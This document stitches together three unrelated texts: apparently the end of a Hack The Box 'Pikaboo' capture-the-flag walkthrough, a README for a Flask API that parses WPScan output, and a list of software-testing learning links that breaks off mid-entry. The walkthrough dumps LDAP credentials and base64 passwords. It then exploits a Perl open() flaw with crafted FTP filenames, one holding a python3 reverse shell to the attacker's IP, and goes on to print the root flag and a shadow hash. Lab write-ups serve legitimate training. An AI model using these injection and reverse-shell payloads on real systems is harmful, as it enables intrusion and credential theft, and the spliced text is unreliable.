interesting part is: ```console ... "ldap": { "ENGINE": "ldapdb.backends.ldap", "NAME": "ldap:///", "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb", "PASSWORD": "J~42%W?PFHl]g", } ... ``` We can see credentials for ```ldap```, Let's use [ldapsearch](https://devconnected.com/how-to-search-ldap-using-ldapsearch-examples/) as following: ```console ldapsearch -D"cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'J~42%W?PFHl]g' -b'dc=pikaboo,dc=htb' -LLL -h 127.0.0.1 -p 389 -s sub "(objectClass=*)" ``` And by running this we get: ```console $ ldapsearch -D"cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'J~42%W?PFHl]g' -b'dc=pikaboo,dc=htb' -LLL -h 127.0.0.1 -p 389 -s sub "(objectClass=*)" ldapsearch -D"cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'J~42%W?PFHl]g' -b'dc=pikaboo,dc=htb' -LLL -h 127.0.0.1 -p 389 -s sub "(objectClass=*)" dn: dc=pikaboo,dc=htb objectClass: domain dc: pikaboo dn: dc=ftp,dc=pikaboo,dc=htb objectClass: domain dc: ftp dn: ou=users,dc=pikaboo,dc=htb objectClass: organizationalUnit objectClass: top ou: users dn: dc=pokeapi,dc=pikaboo,dc=htb objectClass: domain dc: pokeapi dn: ou=users,dc=ftp,dc=pikaboo,dc=htb objectClass: organizationalUnit objectClass: top ou: users dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb objectClass: organizationalUnit objectClass: top ou: groups dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb objectClass: inetOrgPerson objectClass: posixAccount objectClass: shadowAccount uid: pwnmeow cn: Pwn sn: Meow loginShell: /bin/bash uidNumber: 10000 gidNumber: 10000 homeDirectory: /home/pwnmeow userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw== dn: cn=binduser,ou=users,dc=pikaboo,dc=htb cn: binduser objectClass: simpleSecurityObject objectClass: organizationalRole userPassword:: Sn40MiVXP1BGSGxdZw== dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb objectClass: organizationalUnit objectClass: top ou: users dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb objectClass: organizationalUnit objectClass: top ou: groups ``` So we can see two base64 passwords: ```pwnmeow:_G0tT4_C4tcH_'3m_4lL!_``` and ```J~42%W?PFHl]g```. Using ```pwnmeow:_G0tT4_C4tcH_'3m_4lL!_``` credentials we can login to ```ftp```: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ ftp pikaboo.htb Connected to pikaboo.htb. 220 (vsFTPd 3.0.3) Name (pikaboo.htb:user): pwnmeow 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> dir 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwx-wx--- 2 ftp ftp 4096 May 20 09:54 abilities drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_changelog drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_changelog_prose drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_flavor_text drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_names drwx-wx--- 2 ftp ftp 4096 May 20 08:01 ability_prose drwx-wx--- 2 ftp ftp 4096 May 20 08:01 berries drwx-wx--- 2 ftp ftp 4096 May 20 08:01 berry_firmness drwx-wx--- 2 ftp ftp 4096 May 20 08:01 berry_firmness_names drwx-wx--- 2 ftp ftp 4096 May 20 08:01 berry_flavors drwx-wx--- 2 ftp ftp 4096 May 20 08:01 characteristic_text drwx-wx--- 2 ftp ftp 4096 May 20 08:01 characteristics drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_episode_names drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_episode_warriors drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_episodes drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_kingdom_names drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_kingdoms drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_max_links drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_data drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_displacement_prose drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_displacements drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_effect_prose drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_effects drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_range_prose drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_move_ranges drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_pokemon_abilities drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_pokemon_evolution drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_pokemon_moves drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_pokemon_stats drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_stat_names drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_stats drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_transformation_pokemon drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_transformation_warriors drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_warrior_archetypes drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_warrior_names drwx-wx--- 2 ftp ftp 4096 May 20 08:01 conquest_warrior_rank_stat_map ... ``` We can see there are a lot of directories. By running [linpeas.sh](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) we found few intresting files on ```/usr/local/bin```: ```console $ ls -ltr ls -ltr total 44 -rwxr-xr-x 1 root root 218 May 19 12:07 coverage3 -rwxr-xr-x 1 root root 218 May 19 12:07 coverage-3.7 -rwxr-xr-x 1 root root 218 May 19 12:07 coverage -rwxr-xr-x 1 root root 220 May 19 12:07 gunicorn -rwxr--r-- 1 root root 116 Jun 1 09:40 csvupdate_cron -rwxr--r-- 1 root root 6444 Jun 1 10:55 csvupdate -rwxr-xr-x 1 root root 219 Jul 6 18:55 sqlformat -rwxr-xr-x 1 root root 125 Jul 6 18:57 django-admin.py -rwxr-xr-x 1 root root 266 Jul 6 18:57 django-admin drwxr-xr-x 2 root root 4096 Jul 6 18:57 __pycache__ ``` Let's observe ```csvupdate_cron``` and ```csvupdate``` file: ```perl $ cat csvupdate_cron cat csvupdate_cron #!/bin/bash for d in /srv/ftp/* do cd $d /usr/local/bin/csvupdate $(basename $d) *csv /usr/bin/rm -rf * done ``` ```csvupdate_cron``` script iterate for each directory on ```ftp``` and send it as an argument to ```csvupdate``` script. Where ```csvupdate``` script is: ```perl $ cat csvupdate cat csvupdate #!/usr/bin/perl ################################################################## # Script for upgrading PokeAPI CSV files with FTP-uploaded data. # # # # Usage: # # ./csvupdate <type> <file(s)> # # # # Arguments: # # - type: PokeAPI CSV file type # # (must have the correct number of fields) # # - file(s): list of files containing CSV data # ################################################################## use strict; use warnings; use Text::CSV; my $csv_dir = "/opt/pokeapi/data/v2/csv"; my %csv_fields = ( 'abilities' => 4, 'ability_changelog' => 3, 'ability_changelog_prose' => 3, 'ability_flavor_text' => 4, 'ability_names' => 3, 'ability_prose' => 4, 'berries' => 10, 'berry_firmness' => 2, 'berry_firmness_names' => 3, 'berry_flavors' => 3, 'characteristics' => 3, 'characteristic_text' => 3, 'conquest_episode_names' => 3, 'conquest_episodes' => 2, 'conquest_episode_warriors' => 2, 'conquest_kingdom_names' => 3, 'conquest_kingdoms' => 3, 'conquest_max_links' => 3, 'conquest_move_data' => 7, 'conquest_move_displacement_prose' => 5, 'conquest_move_displacements' => 3, 'conquest_move_effect_prose' => 4, 'conquest_move_effects' => 1, 'conquest_move_range_prose' => 4, 'conquest_move_ranges' => 3, 'conquest_pokemon_abilities' => 3, 'conquest_pokemon_evolution' => 8, 'conquest_pokemon_moves' => 2, 'conquest_pokemon_stats' => 3, 'conquest_stat_names' => 3, 'conquest_stats' => 3, 'conquest_transformation_pokemon' => 2, 'conquest_transformation_warriors' => 2, 'conquest_warrior_archetypes' => 2, 'conquest_warrior_names' => 3, 'conquest_warrior_ranks' => 4, 'conquest_warrior_rank_stat_map' => 3, 'conquest_warriors' => 4, 'conquest_warrior_skill_names' => 3, 'conquest_warrior_skills' => 2, 'conquest_warrior_specialties' => 3, 'conquest_warrior_stat_names' => 3, 'conquest_warrior_stats' => 2, 'conquest_warrior_transformation' => 10, 'contest_combos' => 2, 'contest_effect_prose' => 4, 'contest_effects' => 3, 'contest_type_names' => 5, 'contest_types' => 2, 'egg_group_prose' => 3, 'egg_groups' => 2, 'encounter_condition_prose' => 3, 'encounter_conditions' => 2, 'encounter_condition_value_map' => 2, 'encounter_condition_value_prose' => 3, 'encounter_condition_values' => 4, 'encounter_method_prose' => 3, 'encounter_methods' => 3, 'encounters' => 7, 'encounter_slots' => 5, 'evolution_chains' => 2, 'evolution_trigger_prose' => 3, 'evolution_triggers' => 2, 'experience' => 3, 'genders' => 2, 'generation_names' => 3, 'generations' => 3, 'growth_rate_prose' => 3, 'growth_rates' => 3, 'item_categories' => 3, 'item_category_prose' => 3, 'item_flag_map' => 2, 'item_flag_prose' => 4, 'item_flags' => 2, 'item_flavor_summaries' => 3, 'item_flavor_text' => 4, 'item_fling_effect_prose' => 3, 'item_fling_effects' => 2, 'item_game_indices' => 3, 'item_names' => 3, 'item_pocket_names' => 3, 'item_pockets' => 2, 'item_prose' => 4, 'items' => 6, 'language_names' => 3, 'languages' => 6, 'location_area_encounter_rates' => 4, 'location_area_prose' => 3, 'location_areas' => 4, 'location_game_indices' => 3, 'location_names' => 4, 'locations' => 3, 'machines' => 4, 'move_battle_style_prose' => 3, 'move_battle_styles' => 2, 'move_changelog' => 10, 'move_damage_classes' => 2, 'move_damage_class_prose' => 4, 'move_effect_changelog' => 3, 'move_effect_changelog_prose' => 3, 'move_effect_prose' => 4, 'move_effects' => 1, 'move_flag_map' => 2, 'move_flag_prose' => 4, 'move_flags' => 2, 'move_flavor_summaries' => 3, 'move_flavor_text' => 4, 'move_meta_ailment_names' => 3, 'move_meta_ailments' => 2, 'move_meta_categories' => 2, 'move_meta_category_prose' => 3, 'move_meta' => 13, 'move_meta_stat_changes' => 3, 'move_names' => 3, 'moves' => 15, 'move_target_prose' => 4, 'move_targets' => 2, 'nature_battle_style_preferences' => 4, 'nature_names' => 3, 'nature_pokeathlon_stats' => 3, 'natures' => 7, 'pal_park_area_names' => 3, 'pal_park_areas' => 2, 'pal_park' => 4, 'pokeathlon_stat_names' => 3, 'pokeathlon_stats' => 2, 'pokedexes' => 4, 'pokedex_prose' => 4, 'pokedex_version_groups' => 2, 'pokemon_abilities' => 4, 'pokemon_color_names' => 3, 'pokemon_colors' => 2, 'pokemon' => 8, 'pokemon_dex_numbers' => 3, 'pokemon_egg_groups' => 2, 'pokemon_evolution' => 20, 'pokemon_form_generations' => 3, 'pokemon_form_names' => 4, 'pokemon_form_pokeathlon_stats' => 5, 'pokemon_forms' => 10, 'pokemon_form_types' => 3, 'pokemon_game_indices' => 3, 'pokemon_habitat_names' => 3, 'pokemon_habitats' => 2, 'pokemon_items' => 4, 'pokemon_move_method_prose' => 4, 'pokemon_move_methods' => 2, 'pokemon_moves' => 6, 'pokemon_shape_prose' => 5, 'pokemon_shapes' => 2, 'pokemon_species' => 20, 'pokemon_species_flavor_summaries' => 3, 'pokemon_species_flavor_text' => 4, 'pokemon_species_names' => 4, 'pokemon_species_prose' => 3, 'pokemon_stats' => 4, 'pokemon_types' => 3, 'pokemon_types_past' => 4, 'region_names' => 3, 'regions' => 2, 'stat_names' => 3, 'stats' => 5, 'super_contest_combos' => 2, 'super_contest_effect_prose' => 3, 'super_contest_effects' => 2, 'type_efficacy' => 3, 'type_game_indices' => 3, 'type_names' => 3, 'types' => 4, 'version_group_pokemon_move_methods' => 2, 'version_group_regions' => 2, 'version_groups' => 4, 'version_names' => 3, 'versions' => 3 ); if($#ARGV < 1) { die "Usage: $0 <type> <file(s)>\n"; } my $type = $ARGV[0]; if(!exists $csv_fields{$type}) { die "Unrecognised CSV data type: $type.\n"; } my $csv = Text::CSV->new({ sep_char => ',' }); my $fname = "${csv_dir}/${type}.csv"; open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n"; shift; for(<>) { chomp; if($csv->parse($_)) { my @fields = $csv->fields(); if(@fields != $csv_fields{$type}) { warn "Incorrect number of fields: '$_'\n"; next; } print $fh "$_\n"; } } close($fh); ``` On ```perl```, There is a vulnerability related to ```open``` directory, We can use [open() for Command Execution](https://www.shlomifish.org/lecture/Perl/Newbies/lecture4/processes/opens.html). To do that, We need to create a file that starts with ```|``` and then our command. Let's try it with a simple run ```ping``` command, We need to create a new file on one of the directories on ```ftp```, The file name should be ```"| ping -c1 10.10.14.14;.csv"```: ```console ftp> put (local-file) myfile (remote-file) "| ping -c1 10.10.14.14;.csv" local: myfile remote: | ping -c1 10.10.14.14;.csv 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. ftp> ``` Listen to ```icmp``` requests using ```tcpdump``` and after 1 min~ we can see the following requests: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ sudo tcpdump -i tun0 icmp [sudo] password for user: tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 02:09:15.795498 IP pikaboo.htb > 10.10.16.9: ICMP echo request, id 17850, seq 1, length 64 02:09:15.795565 IP 10.10.16.9 > pikaboo.htb: ICMP echo reply, id 17850, seq 1, length 64 ``` So we have RCE, Let's create our reverse shell as a file name to get a shell, The shell will be: ```python "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.14\",5555));[os.dup2(s.fileno(),f)for\ f\ in(0,1,2)];pty.spawn(""\"sh\")';.csv" ``` Let's put a file again: ```console ftp> put (local-file) myfile (remote-file) "|python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.14\",5555));[os.dup2(s.fileno(),f)for\ f\ in(0,1,2)];pty.spawn(""\"sh\")';.csv" local: myfile remote: |python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("\"10.10.14.14\",5555));[os.dup2(s.fileno(),f)for\ f\ in(0,1,2)];pty.spawn(""\"sh\")';.csv 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. ftp> ``` And after 1 min~ we get a shell: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ nc -lvp 5555 listening on [any] 5555 ... connect to [10.10.16.9] from pikaboo.htb [10.10.10.249] 55468 # whoami whoami root # cat /root/root.txt cat /root/root.txt 995419b7e6e4be905f5c200ea0810363 ``` And we get the root flag ```995419b7e6e4be905f5c200ea0810363```. For PDF password: ```console # cat /etc/shadow | grep root | cut -d':' -f2 cat /etc/shadow | grep root | cut -d':' -f2 $6$rmBpCrNSohpbrXpW$6XizSEcAl0ELQH28F21.V0cvZgWCNkatRbXCv5WNlIW2mkhECPM7wm1j.BRD.t7.Z5CQPvu19EGORXbpOnb540 ```
# Python API WpScan ## Web API Server using Python and WpScan This tool is writed in python and we have a web API server using flask and python. We need to make a POST request passing an output file from WpScan tool and the api.py will return a clean json answer. ## Features - API creation using Python with few line codes; - Read, write and answer in JSON; - Read the output file from WpScan; - Information's organization collected from WpScan; - Easy to run and can be reused to others output files; ## Tech It was used some open source projects; - [Python] - Language used to write the code. - [Flask] - Python framework to create the API. - [WpScan] - Tool that find information about WordPress. ## Installation To use this tool you need an output file in JSON format from WpScan tool that you already runned in a WordPress application. ```sh wpscan --url http://sitewordpress.com/ -f json -o wpscan ``` It was used Python version 3.9.2 in the PoC. Do clone of the project. Access the folder python-api-wpscan and install the flask lib using pip. ```sh git clone https://github.com/jmessiass/python-api-wpscan.git cd footprinting pip install flask ``` ## How to Use After do the previous steps just run the api.py script. ```sh python api.py ``` Will be created an API in port 5000. After that you need to execute a CURL request in your created API. Pass the output file in JSON format from WpScan. ```sh curl -X POST -H "Content-Type: application/json" -d '{"url":"~/wpscan"}' http://localhost:5000/wordpress ``` After you realized the POST request the tool will return a JSON output with the information cleaned about the WordPress application. Returning just the most important information about the app. This script can be customized and adapt to others scenarios that you need.
# Free Learning Resources For Software Testers An ongoing project to create a set of links to free online learning resources for new and experienced Software Testers (Click Readme.md to view). Since computer science and IT university departments don't invariably offer dedicated software testing modules and resources are spread among various different providers linked to different methodologies, I created this project to help guide new testers into some sort of useful curriculum and collate some existing web-based resources into lists of links. The rules I wish to implement are - 1. Content must be relevant to testers 2. Content must be informative and not overly "salesy" 3. Content must be free of charge (the exceptions to these being books and magazines, of which most have to be paid for, and blogs - some of which are linked to test consultancies and thus may have promotional pieces in them) This project is very new and the more resources are added the better. I ask the testing community to help by contacting me to offer new content or fork and create a pull request. If you have any suggestions, please let me know. In the meantime, I hope you find the resources below useful. Paul Maxwell-Walters [@TestingRants](https://twitter.com/TestingRants), [email protected] ## Introduction to Testing * [Open Lecture by James Bach on Software Testing](https://www.youtube.com/watch?v=ILkT_HV9DVU) * [Agile Software Testing with James Bach](https://www.youtube.com/watch?v=SAhJf36_u5U) * [Black Box Software Testing (BBST)](http://www.testingeducation.org/BBST/) * [Foundations](http://www.testingeducation.org/BBST/foundations/) * [Bug Advocacy](http://www.testingeducation.org/BBST/bugadvocacy/) * [Test Design](http://www.testingeducation.org/BBST/bugadvocacy/) * [Exploratory Testing](http://www.testingeducation.org/BBST/exploratory/) * [Create Your Tester Portfolio, Issi Hazan & Shmuel Gershon](http://testing.gershon.info/wp-content/uploads/create_your_tester_portfolio_1-1.pdf) * [How to get started in Software Testing, Tim Elbe, Adventures in QA](https://www.bloglovin.com/blogs/adventures-in-qa-13969727/how-to-get-started-in-software-testing-part-5592223723) * [Four Hour Tester, Joep Schuurkes and Helena Jeret-Mae](http://www.fourhourtester.net/) * [Whiteboard Testing Videos](https://www.youtube.com/channel/UC0QZWhi0ojqNte3ey7RD0qQ/videos) ## The Testing Mindset (with some Logic and Philosophy) * [List of Cognitive Biases, Wikipedia](https://en.wikipedia.org/wiki/List_of_cognitive_biases) * [Propositional Logic, Kevin deLaPlante](https://www.youtube.com/watch?v=qV4htTfow-E&list=PL619166130C21EADA) * [Agile Testing Mindset and the Role of the Agile Tester, Amir Gharai, Testing Excellence](http://www.testingexcellence.com/agile-testing-mindset-tester-role-agile-team/) * [Philosophy for Beginners, Marianne Talbot, University of Oxford CCE](https://www.youtube.com/playlist?list=PLbgBhYAnXCnnzuBmY8O9RCXQZV_y7mbo6) * [General Philosophy, Peter Millican, University of Oxford](https://www.youtube.com/playlist?list=PL2FEB728FF960FBD9) ## Test Design and Execution * [Requirements Analysis, University of Michigan](http://groups.engin.umd.umich.edu/CIS/course.des/cis375/ppt/lec11.ppt) * [Test Design Techniques (Videos)](https://www.youtube.com/playlist?list=PLc3SzDYhhiGWW0TzISFKqAN_ic8DnZvVc) * [Heuristic Test Strategy Model, James Bach](http://www.satisfice.com/tools/htsm.pdf) * [An Introduction to Scenario Testing (Cem Kaner)](http://www.kaner.com/pdfs/ScenarioIntroVer4.pdf) * [EuroSTAR Software Testing Video: Ten Minute Test Plan with James Whittaker](https://www.youtube.com/watch?v=QEu3wmgTLqo) * [CAST 2014 Keynote - Test Cases are Not Testing: Toward a Performance Culture](https://www.youtube.com/watch?v=JLVP_Z5AoyM) * [The Art and Science of Questioning, Jessica Ingrassellino](https://www.youtube.com/watch?v=-kB7tLlMPFU) * [Software Testing Best Practices, Rex Black](http://rbcs-us.com/site/assets/files/2389/software_testing_best_practices.pdf) * [Test Matrices, Michael Bolton](http://www.developsense.com/testMatrices.html) ## Testing Tools and Techniques * [What Testing Tools should I Learn, Mark Winteringham, Ministry of Testing](https://dojo.ministryoftesting.com/lessons/what-tools-should-i-learn) * [Investing in Testing - The Importance of the Right Technique, Rex Black](http://rbcs-us.com/site/assets/files/1358/investingintesting_theimportance.pdf) * [Top Test Management Tools](https://artoftesting.com/test-management-tools) ## Exploratory Testing * [What is Exploratory Testing, James Bach](http://www.satisfice.com/articles/what_is_et.shtml) * [Rigorous Exploratory Testing, Elizabeth Hendrickson](http://testobsessed.com/2006/04/rigorous-exploratory-testing/) * [Exploratory Testing, gov.uk Service Manual](https://www.gov.uk/service-manual/technology/exploratory-testing) * [Evolving Understanding About Exploratory Testing, Michael Bolton](http://www.developsense.com/blog/2008/09/evolving-understanding-about/) * [Testing and Noticing, Michael Bolton and James Bach](http://www.developsense.com/presentations/NoticingSTAREast2009.pdf) * [Google Tech Talks - Exploratory Testing, Jon Bach](https://www.youtube.com/watch?v=8Y4WCdJRfV4) * [Test Heuristics Cheat Sheet, Elizabeth Hendrickson](http://testobsessed.com/wp-content/uploads/2011/04/testheuristicscheatsheetv1.pdf) * [Exploratory Testing, Martin Mudge](https://www.youtube.com/watch?v=0LqmI6BFySM) * [Session Based Testing, Peter Tennekes](https://vimeo.com/14761201) * [Session Based Test Management, Jon Bach](http://www.satisfice.com/articles/sbtm.pdf) ## Test Automation * [Page Object Pattern](https://martinfowler.com/bliki/PageObject.html) * [Selenium Documentation](http://docs.seleniumhq.org/docs/) * [Selenium WebDriver tutorials (Java), Guru99](http://www.guru99.com/selenium-tutorial.html) * [Getting Started with Selenium WebDriver Pt1 (Alan Richardson, Evil Tester)](https://www.youtube.com/playlist?list=PLrM2ELpRbbu5cWJbRuzpAr6SR40Gb0QHU) * [Getting Started with Selenium Webdriver Pt2 (Alan Richardson, Evil Tester)](https://www.youtube.com/playlist?list=PLrM2ELpRbbu4aMGNkA_13cPUJNGA1592t) * [Verify XPath Expression in Chrome](http://stackoverflow.com/questions/22571267/how-to-verify-an-xpath-expression-in-chrome-developers-tool-or-firefoxs-firebug/22571294#22571294) * [SoapUI Tutorials](https://www.soapui.org/tutorials.html) * [Elemental Selenium Tips Archive](http://elementalselenium.com/tips) * [Postman API Testing Documentation](https://www.getpostman.com/docs) * [Rest API Testing, (Alan Richardson, Evil Tester)](https://www.youtube.com/playlist?list=PLrM2ELpRbbu7JsiXRHktkL_qqSC_aevSV) * [Screenplay Pattern with Serenity](http://serenity-bdd.info/docs/articles/screenplay-tutorial.html) * [Webdriverio Documentation (Webdriver binding for nodejs)](http://webdriver.io/) ## Test Reporting * [Test Execution Reports, SoftwareTestingHelp](http://www.softwaretestinghelp.com/test-execution-report/) * [Effective Test Status Reporting, Rex Black](http://rbcs-us.com/documents/EffectiveTestStatusReporting(Article).pdf) ## Defect Lifecycle Management * [Bug Advocacy - How to Win Friends, Impress Programmers and Stomp Bugs, Cem Kaner](http://www.kaner.com/pdfs/bugadvoc.pdf) * [Defect Life Cycle: Essentials of Software Testing, Jennifer Marsh, Udemy Blog](https://blog.udemy.com/defect-life-cycle/) ## Testing in Agile * [Agile Manifesto Principles](http://agilemanifesto.org/principles.html) * [Agile Testing Overview, Elizabeth Hendrickson](http://testobsessed.com/wp-content/uploads/2011/04/AgileTestingOverview.pdf) * [Agile Test Planning with the Agile Testing Quadrants, Lisa Crispin and Janet Gregory](http://lisacrispin.com/downloads/AdpTestPlanning.pdf) * [Quick Tools for Agile Testing, Lisa Crispin and Janet Gregory](http://agiletester.ca/wp-content/uploads/sites/26/2015/07/Agile-tips-final.pdf) ## Programming and Academic Computer Science * [Into to C on Windows, Handmade Hero](https://www.youtube.com/playlist?list=PLEMXAbCVnmY6RverunClc_DMLNDd3ASRp) * [Unix Tools, Markus Kuhn, University of Cambridge](http://www.cl.cam.ac.uk/teaching/1415/UnixTools/) * [Python3 Basics, Harrison Kinsley, Sendex](https://www.youtube.com/playlist?list=PLQVvvaa0QuDe8XSftW-RAxdo6OmaeL85M) * [Introduction to Computer Programming in Python, Fall 2016, MIT OpenCourseWare](https://www.youtube.com/playlist?list=PLUl4u3cNGP63WbdFxL8giv4yhgdMGaZNA) * [Java for Testers, Alan Richardson, Evil Tester](https://www.youtube.com/playlist?list=PLrM2ELpRbbu6QVVh74SjN9nLSOutUBbLb) * [Building Dynamic Websites, David J. Malan, CS75.TV, Harvard Extension School](http://cs75.tv/2012/summer/) * [Development Tutorials, NewCircle Training](https://www.youtube.com/playlist?list=PLndbWGuLoHeb1Bi_cduGvDA9MwVPfR8Lg) * [Computation Theory, Shai Simonson, Coderisland](https://www.youtube.com/playlist?list=PL601FC994BDD963E4) * [CS2: Data Structures and Algorithms, Richard Buckland, University of New South Wales](https://www.youtube.com/playlist?list=PLE621E25B3BF8B9D1) * [UHCL Graduate Database Course, Gary Boetticher](https://www.youtube.com/playlist?list=PLvndR40H6vCUSkb88kFdmlSzAzsnQIJBF) * [Introduction to Artificial Intelligence, Peter Norvig and Sebastian Thrun, Udacity](https://www.youtube.com/playlist?list=PLAwxTw4SYaPlqMkzr4xyuD6cXTIgPuzgn) * [Deep Learning, Nando de Freitas, University of Oxford](https://www.youtube.com/playlist?list=PLE6Wd9FR--EfW8dtjAuPoTuPcqmOV53Fu) ## Security and Penetration Testing * [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents) * [OWASP Top 10 Cheat Sheet](https://www.owasp.org/index.php/OWASP_Top_Ten_Cheat_Sheet) * [Security I, Markus Kuhn, University of Cambridge](https://www.cl.cam.ac.uk/teaching/1415/SecurityI/) * [Security II, Markus Kuhn, University of Cambridge](https://www.cl.cam.ac.uk/teaching/1415/SecurityII/) * [Understanding the OWASP Top 10, Gary Hockin](https://www.youtube.com/watch?v=qMkiZ3Ehv5M) * [Cross Site Scripting (XSS) Tutorials, Draps TV](https://www.youtube.com/watch?v=M_nIIcKTxGk&list=PL1A2CSdiySGIRec2pvDMkYNi3iRO89Zot) * [Hacking - Intro to Cross Site Scripting (XSS), Caleb Curry](https://www.youtube.com/watch?v=EZTXYCJk05w) * [Metasploit for Network Security Tutorials, Bucky Roberts, the New Boston](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBmwvjJoWhM4Lg5MceSbsja) * [Learning Python Web Testing, Tutorials HG](https://www.youtube.com/playlist?list=PLv1kQu2-yDXrZqgOgO4VRGb6NFPS_1rUn) * [Web Application Pen Testing tutorials with Mutillidae, IronGeek.com](http://www.irongeek.com/i.php?page=videos%2Fweb-application-pen-testing-tutorials-with-mutillidae) * [Penetration Testing Lab Articles](https://pentestlab.blog/) * [WebGoat User and Install Guides, OWASP](https://www.owasp.org/index.php/WebGoat_User_and_Install_Guide_Table_of_Contents) * [Web Pentesting Workshop with BurpSuite and Mutillidae Pt 1, Jeremy Druin](https://www.youtube.com/watch?v=rNkR1Joz4eU) * [SQL Injection, OWASP Testing Guide](https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)) * [Basic and Advanced SQL Injection Techniques, Brandon Perry, Infosec Southwest](https://www.youtube.com/watch?v=clU9ce3erVs) * [NMap Tutorials for Beginners, Bucky Roberts, the New Boston](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGBsINfLVidNVaZ-7_v1NJIo) * [Ethical Hacking - Hacking for Fun and Profit!, Pentester University](https://www.youtube.com/playlist?list=PLh3suzD3w9hEuEv9WO_zIahqFfhHd8XPq) * [Kali Linux and Backtrack, JackkTutorials](https://www.youtube.com/playlist?list=PLn-akFzjAR19ka6JXJvJwUIKHGB3FeEjN) * [How not to suck at Pen Testing, Jon Strand](https://www.youtube.com/watch?v=Yo4oP2eyDtI) ## Mobile Testing ### Android * [Testing Views in Isolation with Espresso](https://www.novoda.com/blog/testing-views-in-isolation-with-espresso/) * [How testing can provide you with the best documentation](https://www.novoda.com/blog/tests-are-the-best-documentation/) ### iOS * [Getting started with XCUITest framework for testing iOS apps](https://www.novoda.com/blog/getting-started-with-xcuitest-framework-for-testing-ios-apps/) ## Developing as a Tester * [30 Days of Testing, Ministry of Testing](https://dojo.ministryoftesting.com/lessons/30-days-of-testing) * [Buccaneer-Tester: Winning Your Reputation](https://www.youtube.com/watch?v=MKFqwKSon-E) * [Becoming a World-Class Tester, Ilari Henrik Aegerter](http://www.ebaytechblog.com/2013/01/31/becoming-a-world-class-tester/) * [The power of believing that you can improve, Carol Dweck, TedTalks](https://www.youtube.com/watch?v=_X0mgOOSpLU) ## Podcasts * [PerfBytes Podcast](http://www.perfbytes.com/) * [QualiTest's the Testing Show](https://www.qualitestgroup.com/resources/the-testing-show/) * [MKLTestHead Podcasts](http://www.mkltesthead.com/p/podcasts.html) * [Hanselminutes Podcast](https://hanselminutes.com/) * [Let's Talk About Tests, Baby](http://letstalkabouttests.libsyn.com/) * [The Dojo, Ministry of Testing](https://dojo.ministryoftesting.com/series/podcast-series-ministry-of-testing) * [TWiT Security Now](https://twit.tv/shows/security-now) * [Defensive Security Podcast](https://defensivesecurity.org/category/podcast/) * [James Bach's Podcast](http://www.satisfice.com/podcasts.shtml) * [OWASP 24/7 Podcast](https://www.owasp.org/index.php/OWASP_Podcast) * [Testing in the Pub](http://testinginthepub.co.uk/testinginthepub/) * [STP Radio](http://www.softwaretestpro.com/category/stp-radio/) * [Paul's Security Weekly and Hack Naked News](https://securityweekly.com/shows/) * [Test Talks Podcast](https://joecolantonio.com/testtalks/) * [Risky Business Security Podcast](https://risky.biz/netcasts/risky-business/) * [Software Engineering Radio](http://www.se-radio.net/) * [RBCS Podcast, Rex Black](http://rbcs-us.com/resources/podcast/) * [Super Testing Bros](https://soundcloud.com/user-813752576-652941214) * [AB Testing Podcast](http://www.angryweasel.com/ABTesting/) * [TestCast](http://www.testcast.net/) * [Test and Code](http://testandcode.com/) ## Blogs (In last name/company name alphabetical order to avoid order bias) * [Nikolay Advolodkin, UltimateQA](https://www.ultimateqa.com/about/) * [Ilari Henrik Aegerter, Testing 